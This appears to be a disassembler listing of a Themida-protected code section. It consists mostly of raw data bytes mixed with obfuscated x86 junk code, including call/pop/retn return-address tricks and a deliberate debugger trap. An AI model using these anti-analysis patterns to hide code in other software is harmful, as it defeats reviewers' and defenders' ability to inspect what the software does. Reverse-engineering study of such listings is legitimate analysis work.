dd 0BD8B2404h, 613351Dh, 8501006Ah, 6132BD1h, 6A006Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 38D464C3h, 880Fh, 95FF0000h, 61307F1h, 0F49B533h, 9D8D0613h
dd 616A36Ah, 34DF8166h, 6AD3FF69h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0EE60C355h
dd 61BD4696h, 1689BD8Bh, 7E80613h, 4C000000h, 69D8C273h
dd 0B8BE469Ah, 5F31C987h, 16D985FFh, 85890613h, 6133521h
dd 761E9h, 0E800h, 815D0000h, 171D90EDh, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 51B19506h, 0FCBF5F58h, 8130517Eh, 130B21BDh, 7D006h
dd 860F00h, 89000001h, 1304EDB5h, 0F99D8B06h, 66061305h
dd 24DACE81h, 0FDB58956h, 5F06130Ah, 100E381h, 9CBE0000h
dd 0F56CF4Bh, 886h, 0B58B5600h, 6130F01h, 0FDB0B5Fh, 5C85h
dd 0F3B70F00h, 1BE5BD83h, 0F000617h, 1784h, 6E9FC00h, 3F000000h
dd 0C1FAC9D5h, 4BE926h, 85090000h, 6131949h, 1BE585C7h
dd 10617h, 0BD890000h, 613214Dh, 30E9h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 58317D19h, 0E585C7BFh, 6171Bh, 29000000h, 130FF18Dh
dd 0F99D8D06h, 6A061305h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0A6FDC350h, 5022DD0Dh
dd 0F5952955h, 81061315h, 0FFFEFF23h, 52006AFFh, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 4C6BDB0Bh, 816675AAh, 66616AF6h, 6ADB8Ch, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 37462C3h
dd 88A82DFFh, 0F6FA8B66h, 840F04C3h, 3Eh, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EBC35545h, 0E72B1B69h
dd 53BCFF0Ch, 211195FFh, 0BF0F0613h, 0BF6690FBh, 6650AF51h
dd 90ACDABFh, 0ED9BD89h, 99E90613h, 66000003h, 0B0DDD9BFh
dd 0E9BD8B00h, 0E6061306h, 52006A70h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 210316D3h
dd 0B86C0DCFh, 0B5896B57h, 6131451h, 6A71E4h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CFDBDFC3h
dd 0D2AF9BA7h, 0F1BD8BF6h, 0F061334h, 6AD8B6h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 0E5EAF7C3h, 5BFC2ECCh, 899D3145h, 0BA061307h, 6, 1D958957h
dd 5E061315h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 1EE4BCC3h, 25B07523h, 0E78166F8h
dd 8A0FC632h, 1, 4E8C1F8h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 9DC35040h, 6171CC56h, 0BEE2F766h, 6F7AB6B5h
dd 9589D82Bh, 61323C9h, 241C8950h, 4E1BD2Bh, 0B5FF0613h
dd 6130B21h, 95FFF38Bh, 6130DA9h, 164DB589h, 0B00613h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 35C35040h
dd 14AFCD3Eh, 0E6F78B66h, 0C5BD8B70h, 0E4061311h, 51006A71h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0EE8575Ah, 6E000000h, 9751B6BFh, 0A3260943h, 0BE740B3h
dd 99B52387h, 5E061301h, 0F613C5Eh, 20B83h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0C1BD0120h, 8906131Bh, 131F519Dh, 9BD8906h, 0F06130Eh
dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 8E6984C3h, 1E7A8D5Ah, 6BAh, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 820FC652h, 5, 84B722BEh, 0FE8B667Eh, 8E0FC38Bh, 6, 0BE18589h
dd 0E8C10613h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 0A23E5EBh, 0EF3E478Fh
dd 0D7BE66D4h, 0E2F766CEh, 15419D31h, 0BD290613h, 613134Dh
dd 0BE9D82Bh, 42000000h, 3E68A4CFh, 6DFD6B8Ah, 0BF58B587h
dd 43452725h, 880FD82Bh, 120h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0BC35141h, 23FD8531h, 7B90613h
dd 0F5000000h, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 2B2FC353h, 0D93B84FBh
dd 0CE860Fh, 0BD8B0000h, 613149Dh, 6AD98C66h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 4A31C352h, 0ACDF109Dh, 0F04C1F6h, 9384h, 6E900h, 0C2120000h
dd 230DE401h, 211195FFh, 11E90613h, 0DA000000h, 29BC7D12h
dd 18C0BC9Eh, 1883C08Dh, 15AFB4B6h, 52006A5Bh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B58BA778h
dd 6131239h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 0CA5CB5C3h, 0DBE3E7E8h, 858962C3h
dd 6131639h, 8343Dh, 11860F00h, 31000000h, 13295D8Dh, 0EE906h
dd 0E7810000h, 152005FDh, 0CF81C08Bh, 3D440BA6h, 0D88BC38Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C4C35646h
dd 85C75F52h, 6133251h, 15F05BD7h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0B3C35343h, 6AC08B56h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 954CC352h, 0DDD9593Fh, 668FEB96h, 0BC66E781h, 3111BD03h
dd 0BD810613h, 6130B21h, 7D0h, 48850Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0D5F819C3h, 0F15CEA5Ch, 2185FF43h, 6A06130Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 2E71C356h, 0B5FF024Fh, 6130B21h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 97C35646h, 0A6485814h, 9C295AA2h
dd 0DA995FFh, 0BD330613h, 6130115h, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0B40E39B6h
dd 0A5F3CFE7h, 10DE8166h, 9E92Fh, 8D40000h, 1BC4FB6Bh
dd 239D74A4h, 1316C5BDh, 15860F06h, 0E9000000h, 10h, 98EB69h
dd 0ABABE1AAh, 9A51E3E5h, 0D8C3991Eh, 1B998D89h, 6A0613h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 6ED0ECC3h, 0DAB6C610h, 50006A94h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 21C14FC3h
dd 0F632EDDh, 0E8Eh, 8E900h, 426F0000h, 753589AEh, 6AF59232h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0FA59C351h
dd 0CF7711F1h, 60FE9983h, 0D1DB81h, 8D09747Fh, 6132A91h
dd 5830Fh, 61600000h, 61D6B70Fh, 0BE9h, 0AD41E200h, 2F06917Ch
dd 9522C066h, 0FFF8A0E9h, 0C18BFCFFh, 0FE8h, 0DD347D00h
dd 4B1EFCC3h, 0B2234DD5h, 32717F0Eh, 4EB5Fh, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 37C3C356h, 0CF444D8h, 0FABF0FDAh, 1EA9858Dh
dd 95890613h, 6132C51h, 0BE890h, 0B8CF0000h, 0E3D1C8A0h
dd 15DD7E1Dh, 56525035h, 66310F5Fh, 5A4F90BEh, 8B505E58h
dd 816690F1h, 6A0796DEh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 5A77361Ah, 2D1A5F6Ch
dd 7E955h, 0E4E40000h, 83B40A86h, 6A006A6Ch, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 7279C350h, 5491DAF5h, 858DD185h, 617271Dh, 0FE9h, 0E2798B00h
dd 7ACBBECAh, 30E5E6ACh, 2F725B03h, 6A05C083h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0F0E8C351h, 0BA65E319h, 0C4F3C09Dh, 90FA8B66h, 0DE8h
dd 5ABAD000h, 69892A11h, 6E68B499h, 0F28BBB18h, 12E9505Eh
dd 0A7000000h, 0DF3E37F9h, 3056E9CAh, 5F6A22Ah, 61DE4F3Ah
dd 0BD8B9045h, 6130981h, 7E8006Ah, 0B5000000h, 4981F62h
dd 0B531BA9Dh, 61310A5h, 0E9006A5Eh, 0Eh, 28AE13ABh, 803F0621h
dd 50178F5Ah, 95FF91F0h, 61307F1h, 8B0Fh, 9D8D0000h, 616A36Ah
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B7C35646h
dd 9529B77Eh, 6130B6Dh, 0C52DBF66h, 6AD3FFh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0F8AD45C3h
dd 0ED632F89h, 29983F4Eh, 1316D585h, 0D985FF06h, 6A061316h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0C9C350h, 6B41F8B5h, 9E8h, 0A32A7300h, 0D6022C57h
dd 0BD338F6Ah, 6132B89h, 0AE85Fh, 0D480000h, 0BD775FBFh
dd 0C72390E8h, 9E9h, 0C710D500h, 0B2812647h, 0E95F62F4h
dd 808h, 0E8h, 0ED815D00h, 6172727h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 0ACC35747h, 1CD304Fh, 6870FFDh
dd 89000000h, 131A31B5h, 21BD8106h, 0D006130Bh, 0F000007h
dd 14F86h, 91BD8B00h, 8B06130Eh, 1316A19Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 81CF2579h, 100E3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 870BE740h, 0AE93633h
dd 21000000h, 0BF9B9739h, 56ED9B5Dh, 0FDB0B9Ch, 6E85h
dd 5BD8300h, 61725h, 35840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 41C2D2C3h
dd 8B2DEF8Dh, 1330D5BDh, 618D2906h, 0E9061319h, 73h, 0C7F2B70Fh
dd 17250585h, 106h, 61E900h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C776F6C3h
dd 17250585h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 880F2870h, 0Dh, 8E9h
dd 0F1680D00h, 5F0ED217h, 48F0F4Ch, 66000000h, 8DAC61BEh
dd 1316A19Dh, 0C1BD8B06h, 8106131Eh, 0FFFEFF23h, 56006AFFh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0B58BA569h, 6132129h, 8BDB8C66h, 130081B5h, 4C3F606h
dd 83840Fh, 0BD8B0000h, 61309BDh, 211195FFh, 6A0613h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0DBF903C3h, 35D0B911h, 0FE9h, 860C0000h, 2ABD262h, 5B0D8C2Bh
dd 3D79FC14h, 4FBE6650h, 24048908h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 91C35242h, 5F79BE08h, 0DD1BD01h
dd 7E80613h, 7F000000h, 0C9AF7855h, 9D29761Ch, 61306C9h
dd 40AE95Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 506B3FC3h, 0EB5122E4h, 7E9E0h, 33330000h
dd 0EF773182h, 0D9950197h, 0B0061306h, 0FFB70F00h, 0BF0F70E6h
dd 8B71E4FAh, 130E65BDh, 0D8B60F06h, 0E5B243BEh, 6BAF910h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 196CC351h, 89C38BE7h, 1318A9BDh
dd 4E8C106h, 0FE8h, 9A399A00h, 8B392DF6h, 8E48636h, 459FEE9Bh
dd 0E2F7665Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 61C35646h, 93E59BD5h, 6AD82Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BFBACFC3h
dd 89021162h, 3181B58Bh, 50930613h, 6A93FE8Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 5CF8C357h, 28D1BF7Fh, 21B5FFEAh, 6A06130Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 7BD7C352h, 11E9E2h, 3B8B0000h, 15117FEEh, 71FB26D1h
dd 30630476h, 66341D71h, 0FF675FBFh, 130DA995h, 0E5B58B06h
dd 0B0061309h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 0E661724Dh, 57006A70h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 50F6C7C9h, 6EE056D9h, 0ED950960h, 66061305h, 0E4C9F8BEh
dd 8E871h, 3BA60000h, 7B7B3E3Bh, 8B609786h, 616160D1h
dd 0F613C5Eh, 24B83h, 0F6816600h, 0B60F9C7Eh, 6BAF9D8h
dd 9000000h, 131B09BDh, 6AC38B06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A23BC351h
dd 5F91671Dh, 9D5B52Bh, 0E8C10613h, 55006A04h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 64AAD5D6h
dd 0A5C68166h, 6830F05h, 8B000000h, 131E19B5h, 0E2F76606h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6DC35646h
dd 5D56EC79h, 6AD82B6Ch, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 5803C350h, 31DDB503h
dd 0D82B0613h, 18A880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 47BB93C3h, 113B49Ah
dd 97BE47CBh, 513F2398h, 1741B58Bh, 0B95F0613h, 7, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2DC35242h, 0DF8166F4h
dd 0B70FCBF6h, 0F78B66FBh, 6A00C183h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B2CC351h
dd 4558870Ah, 3BE56534h, 0FD860FD9h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 7562C350h, 12E8A479h, 69000000h, 898A305h, 6F503C4Fh
dd 0B355D019h, 0E6A64452h, 0F681660Fh, 665F1153h, 0BD89D98Ch
dd 61300F5h, 0F04C1F6h, 0A884h, 8E800h, 93B00000h
dd 242E0493h, 85891C6Eh, 6130785h, 1195FF5Fh, 0BF061321h
dd 2C6CD3FDh, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 0A50F6F16h, 0D75EEBB7h, 0A290F681h
dd 0C32B4893h, 8343Dh, 52860F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 0EDC4C352h, 35E9F28Bh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 7BCEC353h
dd 0AE01AC6Bh, 66FA3A4Eh, 0B024C681h, 4DC9ECBEh, 50C08B32h
dd 5FF88B66h, 0D88BC38Bh, 1FB1BD8Bh, 85C70613h, 61305F9h
dd 7485EDD3h, 8F0Fh, 0C08B0000h, 81F3BF0Fh, 130B21BDh
dd 7D006h, 12850F00h, 89000000h, 131CED85h, 2185FF06h
dd 0B06130Bh, 130B09BDh, 21B5FF06h, 6A06130Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 5E08C351h, 8D89CF56h, 61316D1h, 0DA995FFh, 0EE80613h
dd 4B000000h, 0F5E0E37Eh, 60EDBC0h, 35DCC45Eh, 9D895E6Ah
dd 6130FC1h, 0F5E68190h, 6672D39Dh, 0ACD1C681h, 2BBDBD8Bh
dd 66600613h, 0AA7F281h, 0C870Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
and edx, 21121512h
mov [ebp+61323B5h], ebx
popa
mov edi, [ebp+6132D29h]
mov edi, [ebp+613151Dh]
sub si, 954Ah
and edi, [ebp+6131FBDh]
push 0
push ecx
call sub_5BF107
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF107 proc near ; CODE XREF: Themida_:005BF0FFp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5BF107 endp
; ---------------------------------------------------------------------------
jl short loc_5BF180
push esi
not byte ptr [ecx+57h]
pop edx
int 3 ; Trap to Debugger
cld
cmc
push 0
push eax
call sub_5BF12C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF12C proc near ; CODE XREF: Themida_:005BF124p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5BF12C endp
; ---------------------------------------------------------------------------
cmp edx, [esp+ebx]
ror dword ptr [ecx], cl
xchg eax, ebp
ror dword ptr [ebx], 1
adc eax, [esi]
push 0
push edi
call sub_5BF151
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF151 proc near ; CODE XREF: Themida_:005BF149p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5BF151 endp
; ---------------------------------------------------------------------------
db 5Dh, 17h, 4Eh
dd 0BBA11561h, 8B8876EDh, 52006AF2h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h
; ---------------------------------------------------------------------------
loc_5BF180: ; CODE XREF: Themida_:005BF117j
add al, 1Dh
; ---------------------------------------------------------------------------
dw 0
dd 0C3524200h, 69AD5CE6h, 0AEF28B45h, 0BE9EF79h, 11000000h
dd 27E7DC0Eh, 1F7FFC32h, 8B66E5DFh, 56006AF9h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 6120C96Bh
dd 0BEF88B77h, 0D2229C8h, 0FFF81BE9h, 178F0FFFh, 0E9000000h
dd 12h, 0FB275666h, 308E5F40h, 0F1EED5F2h, 0EF18B2BDh
dd 8589A94Eh, 6132165h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 565107D7h, 0B50950A8h
dd 6132379h, 0FFFEB958h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 958B15C3h, 6131F8Dh
dd 9CD8D21h, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 2A04CFC3h, 0BF0FE70Eh, 118D21FEh
dd 89061311h, 130F09B5h, 8B0F6006h, 0
; ---------------------------------------------------------------------------
mov [ebp+6131FE9h], eax
popa
mov ecx, [ebp+61309CDh]
push 0
push ebx
call sub_5BF298
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF298 proc near ; CODE XREF: Themida_:005BF290p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5BF298 endp
; ---------------------------------------------------------------------------
sub [eax+28h], esp
jmp loc_5BF2C4
; ---------------------------------------------------------------------------
dd 1A8292E8h, 6179D872h, 71EACB4Eh, 0DA9997B7h, 69D55FEDh
; ---------------------------------------------------------------------------
loc_5BF2C4: ; CODE XREF: Themida_:005BF2ABj
mov edx, [ebp+6130D41h]
and ecx, 1
jnz loc_5BF2F4
push 0
push edx
call sub_5BF2DE
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF2DE proc near ; CODE XREF: Themida_:005BF2D6p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5BF2DE endp
; ---------------------------------------------------------------------------
dw 5208h
dd 0F0D6A89Bh
; ---------------------------------------------------------------------------
loc_5BF2F4: ; CODE XREF: Themida_:005BF2CDj
mov ecx, [ebp+6131111h]
push 0
push ebx
call sub_5BF305
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF305 proc near ; CODE XREF: Themida_:005BF2FDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5BF305 endp
; ---------------------------------------------------------------------------
db 66h, 0EAh, 4Eh
db 3Eh ; >
db 89h ; ‰
db 85h ; …
db 21h ; !
db 23h ; #
db 13h
db 6
db 0E9h ; é
db 0Dh
db 0
db 0
db 0
dd 0C242FB19h, 0B4CD35D1h, 6B80B6BCh
db 0B3h
db 83h ; ƒ
db 0E1h ; á
db 1
db 0Fh
db 85h ; …
db 6
db 0
db 0
db 0
db 89h ; ‰
db 85h ; …
db 0CDh ; Í
db 10h
db 13h
db 6
db 61h ; a
db 60h ; `
db 6Ah ; j
db 0
db 52h ; R
db 0E8h ; è
db 3
db 0
db 0
db 0
db 20h
db 5Ah ; Z
db 0C3h ; Ã
; =============== S U B R O U T I N E =======================================
sub_5BF34D proc near
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5BF34D endp
; ---------------------------------------------------------------------------
db 93h, 82h, 0D1h
dd 20FB675h, 0E83A94A7h, 0Eh, 63796A90h, 0AE77BAD7h, 0BCB2D9A4h
dd 0B95E6F14h, 0FFFFFFFEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 0C9C35747h, 590FF359h, 0A508BE89h, 9E9h
dd 0F4377F00h, 0BD0F77D1h, 8D21CB30h, 6131461h, 2FB18589h
dd 8D210613h, 6130639h, 8D8BF78Ah, 6131461h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E9C35545h, 79BD8B87h
dd 8306132Ch, 850F01E1h, 1Ch, 13E8h, 0E6AFAF00h, 0CC923AB6h
dd 3F3071EDh, 0A6A830Ah, 0BFC366C0h, 0F2B70F5Ah, 6398D8Bh
dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 66C9D9C3h, 830B41BAh, 850F01E1h, 3Ch, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EC35646h, 0CC7E2AD4h
dd 0E9A18719h, 14h, 0BE5DC8CCh, 0D697CEF4h, 9AAE9575h
dd 0C04D20C5h, 496F0043h, 9D896061h, 6130BEDh, 0FFFFFEB9h
dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 4164FF04h, 2F4857DFh, 77E081E8h, 12DDCC2h
dd 1330C9B5h, 0A18D2106h, 6A061316h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A726C355h
dd 987F178h, 21CDB529h, 8D210613h, 6132CD5h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9DC35040h, 500FF465h
dd 8D1147D8h, 858960BFh, 6131151h, 31B58B61h, 8B06131Dh
dd 1316A18Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 0D1FCAC18h, 0A7DA7B2Fh, 8E0FD37Ch
dd 3, 83F8B70Fh, 850F01E1h, 20h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 28C35040h, 101CA3A9h, 2CD58D8Bh
dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0C4F623C3h, 198615B4h, 899F1129h, 1316E185h
dd 1E18306h, 2850Fh, 0B0B30000h, 6A6061h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 105EFAC3h
dd 0B58B68D6h, 6131325h, 0FFFFFEB9h, 51006AFFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 4F8DBA71h
dd 8D214F0Bh, 6133251h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 63C35646h, 0DC4C2564h, 0B84AE380h, 493F8A6Fh
dd 5F98D21h, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0C519EAC3h, 0BBBF662Dh, 518D8B1Fh
dd 6A061332h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 0B231C353h, 1F5AB0C4h, 0F01E183h
dd 1E85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 8B7A1A3Ah, 1305F98Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 7ACC519Dh, 5E9h, 0C1FEDB00h, 0E1830EC2h, 5850F01h, 0BA000000h
dd 439B4F1Fh, 6A6061h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 8E885C3h, 0E789A0BFh, 0BD2BF50Ah
dd 6130EBDh, 0B2185C7h, 7D00613h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A281B6C3h
dd 3B28D89Bh, 66909495h, 7615EE81h, 53006A61h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 49D822D5h
dd 35A8D056h, 0A18D8B4Eh, 0EB061312h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5BF78B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF78B proc near ; CODE XREF: Themida_:005BF783p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5BF78B endp
; ---------------------------------------------------------------------------
dec ebx
mov al, ds:422F62A5h
mov [ebp+6133031h], edi
push 0
push ecx
call sub_5BF7B2
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF7B2 proc near ; CODE XREF: Themida_:005BF7AAp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5BF7B2 endp
; ---------------------------------------------------------------------------
mov gs, ax
mov [ebp+61318E5h], edi
mov eax, ecx
call near ptr loc_5BF7E4+1
adc [ecx], dl
add ds:0CA3EA813h, ch
add dl, [esp+edi*4-2Ah]
jl short near ptr loc_5BF84D+2
sti
imul ebp, [esi+esi], -1Fh
loc_5BF7E4: ; CODE XREF: Themida_:005BF7CCp
dec dword ptr [edi]
mov bh, 0FFh
pop edx
add edx, 5E1Ah
mov [ebp+61311BDh], edi
push 0
jo loc_5BF806
or esi, [ebp+61318B1h]
loc_5BF806: ; CODE XREF: Themida_:005BF7FAj
pop eax
movzx edi, si
loc_5BF80A: ; CODE XREF: Themida_:005BF8A7j
push dword ptr [eax+edx]
mov ch, 0F8h
pop ebx
sub ebx, 45C9644Dh
ja loc_5BF825
pusha
cld
jnz $+6
popa
loc_5BF825: ; CODE XREF: Themida_:005BF816j
xor ebx, 79FF7070h
jp loc_5BF837
mov [ebp+6130E75h], esi
loc_5BF837: ; CODE XREF: Themida_:005BF82Bj
xor ebx, 68AACB42h
movsx edi, dx
mov [edx+eax], ebx
or ecx, 26893F15h
pusha
movzx edi, ax
loc_5BF84D: ; CODE XREF: Themida_:005BF7DDj
xor eax, 7E82747Fh
popa
sub eax, 2
jns loc_5BF871
jmp loc_5BF871
; ---------------------------------------------------------------------------
dw 2970h
dd 1B891C8Ah, 5D05AB0Bh, 0E74499D9h
; ---------------------------------------------------------------------------
pop edi
loc_5BF871: ; CODE XREF: Themida_:005BF857j
; Themida_:005BF85Dj
dec eax
dec eax
mov ecx, [ebp+6130159h]
cmp eax, 0FFFFA2C4h
jnz loc_5BF8A1
sub ecx, 12E8E3D6h
jmp loc_5BF8B3
; ---------------------------------------------------------------------------
